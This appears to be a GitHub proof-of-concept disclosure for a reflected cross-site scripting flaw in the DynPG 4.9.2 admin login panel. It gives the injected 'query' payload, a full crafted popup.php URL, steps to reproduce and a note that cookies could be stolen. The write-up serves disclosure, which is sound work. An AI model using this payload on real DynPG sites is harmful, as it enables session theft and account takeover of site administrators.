

main

...

POC / DynPG 4.9.2 XSS via query parameter



Update DynPG 4.9.2 XSS via query parameter

History

1 contributor

21 lines (16 sloc) | 951 Bytes

...

```
1 Description
2
3 A cross-site scripting (XSS) issue in the DynPG admin login panel version 4.9.2 allows remote attackers to inject JavaScript via the "query" Parameter
4
5 XSS Payload: x"%20onmouseover=alert(4)%20x="
6
7 Vulnerable Parameter: query
8
9 Steps to Reproduce the Issue:
10
11 1- Login to DynPG admin panel
12 2- Paste below POC:
13 https://localhost/dynpg/backendpopup/popup.php?limit=&orderby=&page=&popupResource=texts&query=x"%20onmouseover=alert(4)%20x="&refID=&returnCall=&sort=&valueID=
14
15 (hover your mouse to "x" to trigger XSS)
16
17
18 Video POC: https://drive.google.com/file/d/1KY8ZLiD5SbjrgpRjmR0D5-iZiCnu-JDN/view?usp=sharing
19
20 Impact
21 With the help of xss attacker can perform social engineering on users by redirecting them from real website to fake one. Attacker can steal their cookies leading to account takeove
```

